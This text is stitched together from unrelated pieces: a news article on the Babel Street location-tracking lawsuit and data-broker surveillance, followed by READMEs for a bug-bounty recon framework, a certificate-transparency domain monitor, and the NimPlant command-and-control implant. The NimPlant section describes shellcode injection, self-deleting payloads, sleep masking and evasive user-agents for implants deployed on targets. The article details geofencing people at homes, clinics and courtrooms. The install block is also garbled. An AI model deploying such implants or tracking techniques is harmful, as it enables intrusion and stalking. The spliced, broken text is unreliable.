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Not long ago, the ability to digitally track someone’s daily movements just by knowing their home address, employer, or place of worship was considered a dangerous power that should remain only within the purview of nation states. But a new lawsuit in a likely constitutional battle over a New Jersey privacy law shows that anyone can now access this capability, thanks to a proliferation of commercial services that hoover up the digital exhaust emitted by widely-used mobile apps and websites.
Image: Shutterstock, Arthimides.
Delaware-based Atlas Data Privacy Corp. helps its users remove their personal information from the clutches of consumer data brokers, and from people-search services online. Backed by millions of dollars in litigation financing, Atlas so far this year has sued 151 consumer data brokers on behalf of a class that includes more than 20,000 New Jersey law enforcement officers who are signed up for Atlas services.
Atlas alleges all of these data brokers have ignored repeated warnings that they are violating Daniel’s Law, a New Jersey statute allowing law enforcement, government personnel, judges and their families to have their information completely removed from commercial data brokers. Daniel’s Law was passed in 2020 after the death of 20-year-old Daniel Anderl, who was killed in a violent attack targeting a federal judge — his mother.
Last week, Atlas invoked Daniel’s Law in a lawsuit (PDF) against Babel Street, a little-known technology company incorporated in Reston, Va. Babel Street’s core product allows customers to draw a digital polygon around nearly any location on a map of the world, and view a slightly dated (by a few days) time-lapse history of the mobile devices seen coming in and out of the specified area.
Babel Street’s LocateX platform also allows customers to track individual mobile users by their Mobile Advertising ID or MAID, a unique, alphanumeric identifier built into all Google Android and Apple mobile devices.
Babel Street can offer this tracking capability by consuming location data and other identifying information that is collected by many websites and broadcast to dozens and sometimes hundreds of ad networks that may wish to bid on showing their ad to a particular user.
This image, taken from a video recording Atlas made of its private investigator using Babel Street to show all of the unique mobile IDs seen over time at a mosque in Dearborn, Michigan. Each red dot represents one mobile device.
In an interview, Atlas said a private investigator they hired was offered a free trial of Babel Street, which the investigator was able to use to determine the home address and daily movements of mobile devices belonging to multiple New Jersey police officers whose families have already faced significant harassment and death threats.
Atlas said the investigator encountered Babel Street while testing hundreds of data broker tools and services to see if personal information on its users was being sold. They soon discovered Babel Street also bundles people-search services with its platform, to make it easier for customers to zero in on a specific device.
The investigator contacted Babel Street about possibly buying home addresses in certain areas of New Jersey. After listening to a sales pitch for Babel Street and expressing interest, the investigator was told Babel Street only offers their service to the government or to “contractors of the government.”
“The investigator (truthfully) mentioned that he was contemplating some government contract work in the future and was told by the Babel Street salesperson that ‘that’s good enough’ and that ‘they don’t actually check,’” Atlas shared in an email with reporters.
KrebsOnSecurity was one of five media outlets invited to review screen recordings that Atlas made while its investigator used a two-week trial version of Babel Street’s LocateX service. References and links to reporting by other publications, including 404 Media, Haaretz, NOTUS, and The New York Times, will appear throughout this story.
Collectively, these stories expose how the broad availability of mobile advertising data has created a market in which virtually anyone can build a sophisticated spying apparatus capable of tracking the daily movements of hundreds of millions of people globally.
The findings outlined in Atlas’s lawsuit against Babel Street also illustrate how mobile location data is set to massively complicate several hot-button issues, from the tracking of suspected illegal immigrants or women seeking abortions, to harassing public servants who are already in the crosshairs over baseless conspiracy theories and increasingly hostile political rhetoric against government employees.
Atlas says the Babel Street trial period allowed its investigator to find information about visitors to high-risk targets such as mosques, synagogues, courtrooms and abortion clinics. In one video, an Atlas investigator showed how they isolated mobile devices seen in a New Jersey courtroom parking lot that was reserved for jurors, and then tracked one likely juror’s phone to their home address over several days.
While the Atlas investigator had access to its trial account at Babel Street, they were able to successfully track devices belonging to several plaintiffs named or referenced in the lawsuit. They did so by drawing a digital polygon around the home address or workplace of each person in Babel Street’s platform, which focused exclusively on the devices that passed through those addresses each day.
Each red dot in this Babel Street map represents a unique mobile device that has been seen since April 2022 at a Jewish synagogue in Los Angeles, Calif. Image: Atlas Data Privacy Corp.
One unique feature of Babel Street is the ability to toggle a “night” mode, which makes it relatively easy to determine within a few meters where a target typically lays their head each night (because their phone is usually not far away).
Atlas plaintiffs Scott and Justyna Maloney are both veteran officers with the Rahway, NJ police department who live together with their two young children. In April 2023, Scott and Justyna became the target of intense harassment and death threats after Officer Justyna responded to a routine call about a man filming people outside of the Motor Vehicle Commission in Rahway.
The man filming the Motor Vehicle Commission that day is a social media personality who often solicits police contact and then records himself arguing about constitutional rights with the responding officers.
Officer Justyna’s interaction with the man was entirely peaceful, and the episode appeared to end without incident. But after a selectively edited video of that encounter went viral, their home address and unpublished phone numbers were posted online. When their tormentors figured out that Scott was also a cop (a sergeant), the couple began receiving dozens of threatening text messages, including specific death threats.
According to the Atlas lawsuit, one of the messages to Mr. Maloney demanded money, and warned that his family would “pay in blood” if he didn’t comply. Sgt. Maloney said he then received a video in which a masked individual pointed a rifle at the camera and told him that his family was “going to get [their] heads cut off.”
Maloney said a few weeks later, one of their neighbors saw two suspicious individuals in ski masks parked one block away from the home and alerted police. Atlas’s complaint says video surveillance from neighboring homes shows the masked individuals circling the Maloney’s home. The responding officers arrested two men, who were armed, for unlawful possession of a firearm.
According to Google Maps, Babel Street shares a corporate address with Google and the consumer credit reporting bureau TransUnion.
Atlas said their investigator was not able to conclusively find Scott Maloney’s iPhone in the Babel Street platform, but they did find Justyna’s. Babel Street had nearly 100,000 hits for her phone over several months, allowing Atlas to piece together an intimate picture of Justyna’s daily movements and meetings with others.
An Atlas investigator visited the Maloneys and inspected Justyna’s iPhone, and determined the only app that used her device’s location data was from the department store Macy’s.
In a written response to questions, Macy’s said its app includes an opt-in feature for geo-location, “which allows customers to receive an enhanced shopping experience based on their location.”
“We do not store any customer location information,” Macy’s wrote. “We share geo-location data with a limited number of partners who help us deliver this enhanced app experience. Furthermore, we have no connection with Babel Street” [link added for context].
Justyna’s experience highlights a stark reality about the broad availability of mobile location data: Even if the person you’re looking for isn’t directly identifiable in platforms like Babel Street, it is likely that at least some of that person’s family members are. In other words, it’s often trivial to infer the location of one device by successfully locating another.
The terms of service for Babel Street’s Locate X service state that the product “may not be used as the basis for any legal process in any country, including as the basis for a warrant, subpoena, or any other legal or administrative action.” But Scott Maloney said he’s convinced by their experience that not even law enforcement agencies should have access to this capability without a warrant.
“As a law enforcement officer, in order for me to track someone I need a judge to sign a warrant – and that’s for a criminal investigation after we’ve developed probable cause,” Mr. Maloney said in an interview. “Data brokers tracking me and my family just to sell that information for profit, without our consent, and even after we’ve explicitly asked them not to is deeply disturbing.”
Mr. Maloney’s law enforcement colleagues in other states may see things differently. In August, The Texas Observer reported that state police plan to spend more than $5 million on a contract for a controversial surveillance tool called Tangles from the tech firm PenLink. Tangles is an AI-based web platform that scrapes information from the open, deep and dark web, and it has a premier feature called WebLoc that can be used to geofence mobile devices.
The Associated Press reported last month that law enforcement agencies from suburban Southern California to rural North Carolina have been using an obscure cell phone tracking tool called Fog Reveal — at times without warrants — that gives them the ability to follow people’s movements going back many months.
It remains unclear precisely how Babel Street is obtaining the abundance of mobile location data made available to users of its platform. The company did not respond to multiple requests for comment.
But according to a document (PDF) obtained under a Freedom of Information Act request with the Department of Homeland Security’s Science and Technology directorate, Babel Street re-hosts data from the commercial phone tracking firm Venntel.
On Monday, the Substack newsletter All-Source Intelligence unearthed documents indicating that the U.S. Federal Trade Commission has opened an inquiry into Venntel and its parent company Gravy Analytics.
“Venntel has also been a data partner of the police surveillance contractor Fog Data Science, whose product has been described as ‘mass surveillance on a budget,'” All-Source’s Jack Poulson wrote. “Venntel was also reported to have been a primary data source of the controversial ‘Locate X’ phone tracking product of the American data fusion company Babel Street.”
The Mobile Advertising ID or MAID — the unique alphanumeric identifier assigned to each mobile device — was originally envisioned as a way to distinguish individual mobile customers without relying on personally identifiable information such as phone numbers or email addresses.
However, there is now a robust industry of marketing and advertising companies that specialize in assembling enormous lists of MAIDs that are “enriched” with historical and personal information about the individual behind each MAID.
One of many vendors that “enrich” MAID data with other identifying information, including name, address, email address and phone number.
Atlas said its investigator wanted to know whether they could find enriched MAID records on their New Jersey law enforcement customers, and soon found plenty of ad data brokers willing to sell it.
Some vendors offered only a handful of data fields, such as first and last name, MAID and email address. Other brokers sold far more detailed histories along with their MAID, including each subject’s social media profiles, precise GPS coordinates, and even likely consumer category.
How are advertisers and data brokers gaining access to so much information? Some sources of MAID data can be apps on your phone such as AccuWeather, GasBuddy, Grindr, and MyFitnessPal that collect your MAID and location and sell that to brokers.
A user’s MAID profile and location data also is commonly shared as a consequence of simply using a smartphone to visit a web page that features ads. In the few milliseconds before those ads load, the website will send a “bid request” to various ad exchanges, where advertisers can bid on the chance to place their ad in front of users who match the consumer profiles they’re seeking. A great deal of data can be included in a bid request, including the user’s precise location (the current open standard for bid requests is detailed here).
The trouble is that virtually anyone can access the “bidstream” data flowing through these so-called “realtime bidding” networks, because the information is simultaneously broadcast in the clear to hundreds of entities around the world.
The result is that there are a number of marketing companies that now enrich and broker access to this mobile location information. Earlier this year, the German news outlet netzpolitik.org purchased a bidstream data set containing more than 3.6 billion data points, and shared the information with the German daily BR24. They concluded that the data they obtained (through a free trial, no less) made it possible to establish movement profiles — some of them quite precise — of several million people across Germany.
A screenshot from the BR24/Netzpolitik story about their ability to track millions of Germans, including many employees of the German Federal Police and Interior Ministry.
Politico recently covered startling research from universities in New Hampshire, Kentucky and St. Louis that showed how the mobile advertising data they acquired allowed them to link visits from investigators with the U.S. Securities and Exchange Commission (SEC) to insiders selling stock before the investigations became public knowledge.
The researchers in that study said they didn’t attempt to use the same methods to track regulators from other agencies, but that virtually anyone could do it.
Justin Sherman, a distinguished fellow at Georgetown Law’s Center for Privacy and Technology, called the research a “shocking demonstration of what happens when companies can freely harvest Americans’ geolocation data and sell it for their chosen price.”
“Politicians should understand how they, their staff, and public servants are threatened by the sale of personal data—and constituent groups should realize that talk of data broker ‘controls’ or ‘best practices” is designed by companies to distract from the underlying problems and the comprehensive privacy and security solutions,” Sherman wrote for Lawfare this week.
The Orwellian nature of modern mobile advertising networks may soon have far-reaching implications for women’s reproductive rights, as more states move to outlaw abortion within their borders. The 2022 Dobbs decision by the U.S. Supreme Court discarded the federal right to abortion, and 14 states have since enacted strict abortion bans.
Anti-abortion groups are already using mobile advertising data to advance their cause. In May 2023, The Wall Street Journal reported that an anti-abortion group in Wisconsin used precise geolocation data to direct ads to women it suspected of seeking abortions.
As it stands, there is little to stop anti-abortion groups from purchasing bidstream data (or renting access to a platform like Babel Street) and using it to geofence abortion clinics, potentially revealing all mobile devices transiting through these locations.
Atlas said its investigator geofenced an abortion clinic and was able to identify a likely employee at that clinic, following their daily route to and from that individual’s home address.
A still shot from a video Atlas shared of its use of Babel Street to identify and track an employee traveling each day between their home and the clinic.
Last year, Idaho became the first state to outlaw “abortion trafficking,” which the Idaho Capital Sun reports is defined as “recruiting, harboring or transporting a pregnant minor to get an abortion or abortion medication without parental permission.” Tennessee now has a similar law, and GOP lawmakers in five other states introduced abortion trafficking bills that failed to advance this year, the Sun reports.
Atlas said its investigator used Babel Street to identify and track a person traveling from their home in Alabama — where abortion is now illegal — to an abortion clinic just over the border in Tallahassee, Fla. — and back home again within a few hours. Abortion rights advocates and providers are currently suing Alabama Attorney General Steve Marshall, seeking to block him from prosecuting people who help patients travel out-of-state to end pregnancies.
Eva Galperin, director of cybersecurity at the Electronic Frontier Foundation (EFF), a non-profit digital rights group, said she’s extremely concerned about dragnet surveillance of people crossing state lines in order to get abortions.
“Specifically, Republican officials from states that have outlawed abortion have made it clear that they are interested in targeting people who have gone to neighboring states in order to get abortions, and to make it more difficult for people who are seeking abortions to go to neighboring states,” Galperin said. “It’s not a great leap to imagine that states will do this.”
Atlas found that for the right price (typically $10-50k a year), brokers can provide access to tens of billions of data points covering large swaths of the US population and the rest of the world.
Based on the data sets Atlas acquired — many of which included older MAID records — they estimate they could locate roughly 80 percent of Android-based devices, and about 25 percent of Apple phones. Google refers to its MAID as the “Android Advertising ID,” (AAID) while Apple calls it the “Identifier for Advertisers” (IDFA).
What accounts for the disparity between the number of Android and Apple devices that can be found in mobile advertising data? In April 2021, Apple shipped version 14.5 of its iOS operating system, which introduced a technology called App Tracking Transparency (ATT) that requires apps to get affirmative consent before they can track users by their IDFA or any other identifier.
Apple’s introduction of ATT had a swift and profound impact on the advertising market: Less than a year later Facebook disclosed that the iPhone privacy feature would decrease the company’s 2022 revenues by about $10 billion.
Source: cnbc.com.
Google runs by far the world’s largest ad exchange, known as AdX. The U.S. Department of Justice, which has accused Google of building a monopoly over the technology that places ads on websites, estimates that Google’s ad exchange controls 47 percent of the U.S. market and 56 percent globally.
Google’s Android is also the dominant mobile operating system worldwide, with more than 72 percent of the market. In the U.S., however, iPhone users claim approximately 55 percent of the market, according to TechRepublic.
In response to requests for comment, Google said it does not send real time bidding requests to Babel Street, nor does it share precise location data in bid requests. The company added that its policies explicitly prohibit the sale of data from real-time bidding, or its use for any purpose other than advertising.
Google said its MAIDs are randomly generated and do not contain IP addresses, GPS coordinates, or any other location data, and that its ad systems do not share anyone’s precise location data.
“Android has clear controls for users to manage app access to device location, and reset or delete their advertising ID,” Google’s written statement reads. “If we learn that someone, whether an app developer, ad tech company or anyone else, is violating our policies, we take appropriate action. Beyond that, we support legislation and industry collaboration to address these types of data practices that negatively affect the entire mobile ecosystem, including all operating systems.”
In a written statement shared with reporters, Apple said Location Services is not on by default in its devices. Rather, users must enable Location Services and must give permission to each app or website to use location data. Users can turn Location Services off at any time, and can change whether apps have access to location at any time. The user’s choices include precise vs. approximate location, as well as a one-time grant of location access by the app.
“We believe that privacy is a fundamental human right, and build privacy protections into each of our products and services to put the user in control of their data,” an Apple spokesperson said. “We minimize personal data collection, and where possible, process data only on users’ devices.”
Zach Edwards is a senior threat analyst at the cybersecurity firm SilentPush who has studied the location data industry closely. Edwards said Google and Apple can’t keep pretending like the MAIDs being broadcast into the bidstream from hundreds of millions of American devices aren’t making most people trivially trackable.
“The privacy risks here will remain until Apple and Google permanently turn off their mobile advertising ID schemes and admit to the American public that this is the technology that has been supporting the global data broker ecosystem,” he said.
According to Bloomberg Law, between 2019 and 2023, threats against federal judges have more than doubled. Amid increasingly hostile political rhetoric and conspiracy theories against government officials, a growing number of states are seeking to pass their own versions of Daniel’s Law.
Last month, a retired West Virginia police officer filed a class action lawsuit against the people-search service Whitepages for listing their personal information in violation of a statute the state passed in 2021 that largely mirrors Daniel’s Law.
In May 2024, Maryland passed the Judge Andrew F. Wilkinson Judicial Security Act — named after a county circuit court judge who was murdered by an individual involved in a divorce proceeding over which he was presiding. The law allows current and former members of the Maryland judiciary to request their personal information not be made available to the public.
Under the Maryland law, personal information can include a home address; telephone number, email address; Social Security number or federal tax ID number; bank account or payment card number; a license plate or other unique vehicle identifier; a birth or marital record; a child’s name, school, or daycare; place of worship; place of employment for a spouse, child, or dependent.
The law firm Troutman Pepper writes that “so far in 2024, 37 states have begun considering or have adopted similar privacy-based legislation designed to protect members of the judiciary and, in some states, other government officials involved in law enforcement.”
Atlas alleges that in response to requests to have data on its New Jersey law enforcement clients scrubbed from consumer records sold by LexisNexis, the data broker retaliated by freezing the credit of approximately 18,500 people, and falsely reporting them as identity theft victims.
In addition, Atlas said LexisNexis started returning failure codes indicating they had no record of these individuals, resulting in denials when officers attempted to refinance loans or open new bank accounts.
The data broker industry has responded by having at least 70 of the Atlas lawsuits moved to federal court, and challenging the constitutionality of the New Jersey statute as overly broad and a violation of the First Amendment.
Attorneys for the data broker industry argued in their motion to dismiss that there is “no First Amendment doctrine that exempts a content-based restriction from strict scrutiny just because it has some nexus with a privacy interest.”
Atlas’s lawyers responded that data covered under Daniel’s Law — personal information of New Jersey law enforcement officers — is not free speech. Atlas notes that while defending against comparable lawsuits, the data broker industry has argued that home address and phone number data are not “communications.”
“Data brokers should not be allowed to argue that information like addresses are not ‘communications’ in one context, only to turn around and claim that addresses are protectable communications,” Atlas argued (PDF). “Nor can their change of course alter the reality that the data at issue is not speech.”
The judge overseeing the challenge is expected to rule on the motion to dismiss within the next few weeks. Regardless of the outcome, the decision is likely to be appealed all the way to the U.S. Supreme Court.
Meanwhile, media law experts say they’re concerned that enacting Daniel’s Law in other states could limit the ability of journalists to hold public officials accountable, and allow authorities to pursue criminal charges against media outlets that publish the same type of public and government records that fuel the people-search industry.
Sen. Ron Wyden (D-Ore.) said Congress’ failure to regulate data brokers, and the administration’s continued opposition to bipartisan legislation that would limit data sales to law enforcement, have created this current privacy crisis.
“Whether location data is being used to identify and expose closeted gay Americans, or to track people as they cross state lines to seek reproductive health care, data brokers are selling Americans’ deepest secrets and exposing them to serious harm, all for a few bucks,” Wyden said in a statement shared with KrebsOnSecurity, 404 Media, Haaretz, NOTUS, and The New York Times.
Sen. Wyden said Google also deserves blame for refusing to follow Apple’s lead by removing companies’ ability to track phones.
“Google’s insistence on uniquely tracking Android users – and allowing ad companies to do so as well – has created the technical foundations for the surveillance economy and the abuses stemming from it,” Wyden said.
Georgetown Law’s Justin Sherman said the data broker and mobile ad industries claim there are protections in place to anonymize mobile location data and restrict access to it, and that there are limits to the kinds of invasive inferences one can make from location data. The data broker industry also likes to tout the usefulness of mobile location data in fighting retail fraud, he said.
“All kinds of things can be inferred from this data, including people being targeted by abusers, or people with a particular health condition or religious belief,” Sherman said. “You can track jurors, law enforcement officers visiting the homes of suspects, or military intelligence people meeting with their contacts. The notion that the sale of all this data is preventing harm and fraud is hilarious in light of all the harm it causes enabling people to better target their cyber operations, or learning about people’s extramarital affairs and extorting public officials.”
Privacy experts say disabling or deleting your device’s MAID will have no effect on how your phone operates, except that you may begin to see far less targeted ads on that device.
Any Android apps with permission to use your location should appear when you navigate to the Settings app, Location, and then App Permissions. “Allowed all the time” is the most permissive setting, followed by “Allowed only while in use,” “Ask every time,” and “Not allowed.”
Android users can delete their ad ID permanently, by opening the Settings app and navigating to Privacy > Ads. Tap “Delete advertising ID,” then tap it again on the next page to confirm. According to the EFF, this will prevent any app on your phone from accessing the ad ID in the future. Google’s documentation on this is here.
Image: eff.org
By default, Apple’s iOS requires apps to ask permission before they can access your device’s IDFA. When you install a new app, it may ask for permission to track you. When prompted to do so by an app, select the “Ask App Not to Track” option. Apple users also can set the “Allow apps to request to track” switch to the “off” position, which will block apps from asking to track you.
Apple’s Privacy and Ad Tracking Settings.
Apple also has its own targeted advertising system which is separate from third-party tracking enabled by the IDFA. To disable it, go to Settings, Privacy, and Apple Advertising, and ensure that the “Personalized Ads” setting is set to “off.”
Finally, if you’re the type of reader who’s the default IT support person for a small group of family or friends (bless your heart), it would be a good idea to set their devices not to track them, and to disable any apps that may have location data sharing turned on 24/7.
There is a dual benefit to this altruism, which is clearly in the device owner’s best interests. Because while your device may not be directly trackable via advertising data, making sure they’re opted out of said tracking also can reduce the likelihood that you are trackable simply by being physically close to those who are.
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Howdy! My name is Harrison Richardson, or rs0n (arson) when I want to feel cooler than I really am. The code in this repository started as a small collection of scripts to help automate many of the common Bug Bounty hunting processes I found myself repeating. Over time, I built a simple web application with a MongoDB connection to manage my findings and identify valuable data points. After 5 years of Bug Bounty hunting, both part-time and full-time, I'm finally ready to package this collection of tools into a proper framework.
The Ars0n Framework is designed to provide aspiring Application Security Engineers with all the tools they need to leverage Bug Bounty hunting as a means to learn valuable, real-world AppSec concepts and make 💰 doing it! My goal is to lower the barrier of entry for Bug Bounty hunting by providing easy-to-use automation tools in combination with educational content and how-to guides for a wide range of Web-based and Cloud-based vulnerabilities. In combination with my YouTube content, this framework will help aspiring Application Security Engineers to quickly and easily understand real-world security concepts that directly translate to a high paying career in Cyber Security.
In addition to using this tool for Bug Bounty Hunting, aspiring engineers can also use this Github Repository as a canvas to practice collaborating with other developers! This tool was inspired by Metasploit and designed to be modular in a similar way. Each Script (Ex: wildfire.py or slowburn.py) is basically an algorithm that runs the Modules (Ex: fire-starter.py or fire-scanner.py) in a specific patter for a desired result. Because of this design, the community is free to build new Scripts to solve a specific use-case or Modules to expand the results of these Scripts. By learning the code in this framework and using Github to contribute your own code, aspiring engineers will continue to learn real-world skills that can be applied on the first day of a Security Engineer I position.
My hope is that this modular framework will act as a canvas to help share what I've learned over my career to the next generation of Security Engineers! Trust me, we need all the help we can get!!
Paste this code block into a clean installation of Kali Linux 2023.4 to download, install, and run the latest stable Alpha version of the framework:
FreshRSS sudo apt update && sudo apt-get update
sudo apt -y upgrade && sudo apt-get -y upgrade
wget https://github.com/R-s0n/ars0n-framework/releases/download/v0.0.2-alpha/ars0n-framework-v0.0.2-alpha.tar.gz
tar -xzvf ars0n-framework-v0.0.2-alpha.tar.gz
rm ars0n-framework-v0.0.2-alpha.tar.gz
cd ars0n-framework
./install.sh
wget https://github.com/R-s0n/ars0n-framework/releases/download/v0.0.2-alpha/ars0n-framework-v0.0.2-alpha.tar.gz
tar -xzvf ars0n-framework-v0.0.2-alpha.tar.gz
rm ars0n-framework-v0.0.2-alpha.tar.gz
The Ars0n Framework includes a script that installs all the necessary tools, packages, etc. that are needed to run the framework on a clean installation of Kali Linux 2023.4.
Please note that the only supported installation of this framework is on a clean installation of Kali Linux 2023.3. If you choose to try and run the framework outside of a clean Kali install, I will not be able to help troubleshoot if you have any issues.
./install.sh
This video shows exactly what to expect from a successful installation.
If you are using an ARM Processor, you will need to add the --arm flag to all Install/Run scripts
./install.sh --arm
You will be prompted to enter various API keys and tokens when the installation begins. Entering these is not required to run the core functionality of the framework. If you do not enter these API keys and tokens at the time of installation, simply hit enter at each of the prompts. The keys can be added later to the ~/.keys directory. More information about how to add these keys manually can be found in the Frequently Asked Questions section of this README.
Once the installation is complete, you will be given the option to run the application by entering Y. If you choose not the run the application immediately, or if you need to run the application after a reboot, simply navigate to the root directly and run the run.sh bash script.
./run.sh
If you are using an ARM Processor, you will need to add the --arm flag to all Install/Run scripts
./run.sh --arm
The Ars0n Framework's Core Modules are used to determine the basic scanning logic. Each script is designed to support a specific recon methodology based on what the user is trying to accomplish.
At this time, the Wildfire script is the most widely used Core Module in the Ars0n Framework. The purpose of this module is to allow the user to scan multiple targets that allow for testing on any subdomain discovered by the researcher.
How it works:
Most Wildfire scans take between 8 and 48 hours to complete against a single domain if all Sub-Modules are being run. Variations in this timing can be caused by a number of factors, including the target application and the machine running the framework.
Also, please note that most data will not show in the GUI until the scan has completed. It's best to try and run the scan overnight or over a weekend, depending on the number of domains being scanned, and return once the scan has complete to move from Recon to Enumeration.
Running Wildfire:
Wildfire can be run from the GUI using the Wildfire button on the dashboard. Once clicked, the front-end will use the checkboxes on the screen to determine what flags should be passed to the scanner.
Please note that running scans from the GUI still has a few bugs and edge cases that haven't been sorted out. If you have any issues, you can simply run the scan form the CLI.
All Core Modules for The Ars0n Framework are stored in the /toolkit directory. Simply navigate to the directory and run wildfire.py with the necessary flags. At least one Sub-Module flag must be provided.
python3 wildfire.py --start --cloud --scan
Unlike the Wildfire module, which requires the user to identify target domains to scan, the Slowburn module does that work for you. By communicating with APIs for various bug bounty hunting platforms, this script will identify all domains that allow for testing on any discovered subdomain. Once the data has been populated, Slowburn will randomly choose one domain at a time to scan in the same way Wildfire does.
Please note that the Slowburn module is still in development and is not considered part of the stable alpha release. There will likely be bugs and edge cases encountered by the user.
In order for Slowburn to identify targets to scan, it must first be initialized. This initialization step collects the necessary data from various API's and deposits them into a JSON file stored locally. Once this initialization step is complete, Slowburn will automatically begin selecting and scanning one target at a time.
To initalize Slowburn, simply run the following command:
python3 slowburn.py --initialize
Once the data has been collected, it is up to the user whether they want to re-initialize the tool upon the next scan.
Remember that the scope and targets on public bug bounty programs can change frequently. If you choose to run Slowburn without initializing the data, you may be scanning domains that are no longer in scope for the program. It is strongly recommended that Slowburn be re-initialized each time before running.
If you choose not to re-initialize the target data, you can run Slowburn using the previously collected data with the following command:
python3 slowburn.py
The Ars0n Framework's Sub-Modules are designed to be leveraged by the Core Modules to divide the Recon & Enumeration phases into specific tasks. The data collected in each Sub-Module is used by the others to expand your picture of the target's attack surface.
Fire-Starter is the first step to performing recon against a target domain. The goal of this script is to collect a wealth of information about the attack surface of your target. Once collected, this data will be used by all other Sub-Modules to help the user identify a specific URL that is potentially vulnerable.
Fire-Starter works by running a series of open-source tools to enumerate hidden subdomains, DNS records, and the ASN's to identify where those external entries are hosted. Currently, Fire-Starter works by chaining together the following widely used open-source tools:
These tools cover a wide range of techniques to identify hidden subdomains, including web scraping, brute force, and crawling to identify links and JavaScript URLs.
Once the scan is complete, the Dashboard will be updated and available to the user.
Most Sub-Modules in The Ars0n Framework requre the data collected from the Fire-Starter module to work. With this in mind, Fire-Starter must be included in the first scan against a target for any usable data to be collected.
Coming soon...
Fire-Scanner uses the results of Fire-Starter and Fire-Cloud to perform Wide-Band Scanning against all subdomains and cloud services that have been discovered from previous scans.
At this stage of development, this script leverages Nuclei almost exclusively for all scanning. Instead of simply running the tool, Fire-Scanner breaks the scan down into specific collections of Nuclei Templates and scans them one by one. This strategy helps ensure the scans are stable and produce consistent results, removes any unnecessary or unsafe scan checks, and produces actionable results.
The vast majority of issues installing and/or running the Ars0n Framework are caused by not installing the tool on a clean installation of Kali Linux.
It is important to remember that, at its core, the Ars0n Framework is a collection of automation scripts designed to run existing open-source tools. Each of these tools have their own ways of operating and can experience unexpected behavior if conflicts emerge with any existing service/tool running on the user's system. This complexity is the reason why running The Ars0n Framework should only be run on a clean installation of Kali Linux.
Another very common issue users experience is caused by MongoDB not successfully installing and/or running on their machine. The most common manifestation of this issue is the user is unable to add an initial FQDN and simply sees a broken GUI. If this occurs, please ensure that your machine has the necessary system requirements to run MongoDB. Unfortunately, there is no current solution if you run into this issue.
Coming soon...
By looking through CT logs an attacker can gather a lot of information about organization's infrastructure i.e. internal domains,email addresses in a completly passive manner.
moniorg leverage certificate transparency logs to monitor for newly issued domains based on organization field in their SSL certificate .
git clone https://github.com/yousseflahouifi/moniorg.git
pip install os sys termcolor difflib json argparse
usage: moniorg.py [-h] [-a ADD] [-g GET] [-l] [-m MONITOR] [-v] orgname
| Short form | Long form | Description |
|---|---|---|
| -h | --help | Show help message and exit |
| -a | --add | Add organization name to be monitored |
| -m | --monitor | Monitor and see newly added domains |
| -g | --get | Get a list of domains based on orgname that you are monitoring |
| -l | --list | List organization names you are monitoring |
| -v | --vps | Running moniorg in vps mode and send slack notification whenever a new domain is found (this option should be used along with -m) |
Adding an organization name to the monitoring list :
python3 moniorg.py -a "VK LLC"
,--
,--,--,--. ,---. ,--,--, `--' ,---. ,--.--. ,---.
| || .-. || \,--.| .-. || .--'| .-. |
| | | |' '-' '| || || |' '-' '| | ' '-' '
`--`--`--' `---' `--''--'`--' `---' `--' .`- /
`---'
By Youssef Lahouifi
To see the domains gathered :
python3 moniorg.py -g "VK LLC"
,--
,--,--,--. ,---. ,--,--, `--' ,---. ,--.--. ,---.
| || .-. || \,--.| .-. || .--'| .-. |
| | | |' '-' '| || || |' '-' '| | ' '-' '
`--`--`--' `---' `--''--'`--' `---' `--' .`- /
`---'
By Youssef Lahouifi
[+] below is the list of domains of the company ...
gmrk.mail.ru
relap.org
relap.ru
test.mail.ru
To see if new domain is added :
python3 moniorg.py -m "VK LLC"
,--
,--,--,--. ,---. ,--,--, `--' ,---. ,--.--. ,---.
| || .-. || \,--.| .-. || .--'| .-. |
| | | |' '-' '| || || |' '-' '| | ' '-' '
`--`--`--' `---' `--''--'`--' `---' `--' .`- /
`---'
By Youssef Lahouifi
Got Nothing !
moniorg depends on crt.sh website to find new domains and sometimes crt.sh looks like is timing out when the list of domain is huge . You just have to retry .
Discovering domains like never before
Subdomain enumeration is cool , How about domain enumeration ? Part I
Subdomain enumeration is cool , How about domain enumeration ? Part II
If you have a feedback or issue feel free to open it in the issues section .
By Cas van Cooten (@chvancooten), with special thanks to some awesome folks:
execute-assembly & self-deleting implant optioninline-executeinline-execute, shinject (using dynamic invocation), or in-thread execute-assembly
choosenim is recommended, as apt doesn't always have the latest version).cd client; nimble install -d).requirements.txt from the server folder (pip3 install -r server/requirements.txt).mingw toolchain for your platform (brew install mingw-w64 or apt install mingw-w64).Before using NimPlant, create the configuration file config.toml. It is recommended to copy config.toml.example and work from there.
An overview of settings is provided below.
| Category | Setting | Description |
|---|---|---|
| server | ip | The IP that the C2 web server (including API) will listen on. Recommended to use 127.0.0.1, only use 0.0.0.0 when you have setup proper firewall or routing rules to protect the C2. |
| server | port | The port that the C2 web server (including API) will listen on. |
| listener | type | The listener type, either HTTP or HTTPS. HTTPS options configured below. |
| listener | sslCertPath | The local path to a HTTPS certificate file (e.g. requested via LetsEncrypt CertBot or self-signed). Ignored when listener type is 'HTTP'. |
| listener | sslKeyPath | The local path to the corresponding HTTPS certificate private key file. Password will be prompted when running the NimPlant server if set. Ignored when listener type is 'HTTP'. |
| listener | hostname | The listener hostname. If not empty (""), NimPlant will use this hostname to connect. Make sure you are properly routing traffic from this host to the NimPlant listener port. |
| listener | ip | The listener IP. Required even if 'hostname' is set, as it is used by the server to register on this IP. |
| listener | port | The listener port. Required even if 'hostname' is set, as it is used by the server to register on this port. |
| listener | registerPath | The URI path that new NimPlants will register with. |
| listener | taskPath | The URI path that NimPlants will get tasks from. |
| listener | resultPath | The URI path that NimPlants will submit results to. |
| nimplant | riskyMode | Compile NimPlant with support for risky commands. Operator discretion advised. Disabling will remove support for execute-assembly, powershell, shell and shinject. |
| nimplant | sleepMask | Whether or not to use Ekko sleep mask instead of regular sleep calls for Nimplants. Only works with regular executables for now! |
| nimplant | sleepTime | The default sleep time in seconds for new NimPlants. |
| nimplant | sleepJitter | The default jitter in percent for new NimPlants. |
| nimplant | killDate | The kill date for Nimplants (format: yyyy-MM-dd). Nimplants will exit if this date has passed. |
| nimplant | userAgent | The user-agent used by NimPlants. The server also uses this to validate NimPlant traffic, so it is recommended to choose a UA that is inconspicuous, but not too prevalent. |
Once the configuration is to your liking, you can generate NimPlant binaries to deploy on your target. Currently, NimPlant supports .exe, .dll, and .bin binaries for (self-deleting) executables, libraries, and position-independent shellcode (through sRDI), respectively. To generate, run python NimPlant.py compile followed by your preferred binaries (exe, exe-selfdelete, dll, raw, or all) and, optionally, the implant type (nim, or nim-debug). Files will be written to client/bin/.
